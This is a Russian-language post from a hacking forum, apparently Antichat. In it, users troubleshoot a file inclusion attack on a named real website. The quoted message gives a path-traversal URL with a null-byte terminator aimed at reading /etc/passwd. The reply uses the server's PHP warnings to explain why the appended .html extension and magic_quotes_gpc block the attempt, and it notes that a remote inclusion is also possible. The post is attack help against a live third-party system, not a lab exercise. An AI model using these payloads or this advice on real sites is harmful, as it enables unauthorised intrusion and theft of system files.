Форум АНТИЧАТ - Показать сообщение отдельно

Цитата:

Сообщение от -=Static=-

есть возможность провести include. Тока у меня толком них не получается. Голова уже кипит...

http://kpmo.karelia.ru/file/page.php?page_id=../../../../../etc/passwd%00

Че не так то?

Это же инклудится; http://kpmo.karelia.ru/file/page.php?page_id=/home/kpmo/www/file/news_62

Ты обрати внимание на вот эту ошибку

Цитата:

Warning: main() [function.main]: Failed opening '../../../../../etc/passwd\0.html' for inclusion (include_path='.:/usr/share/pear') in /home/kpmo/www/file/page.php on line 26

приписывается расширение .html, ты конечно пытался его обрезать, но на сервере magic_quotes_gpc = On, т.е обрезать расширение не получиться.....

Ну а если обратить внимание на первую ошибку:

Цитата:

Warning: main(../../../../../etc/passwd\0.html) [function.main]: failed to create stream: No such file or directory in /home/kpmo/www/file/page.php on line 26

То видно, что сдесь удаленный инклуд, только опять же все портит расширение.....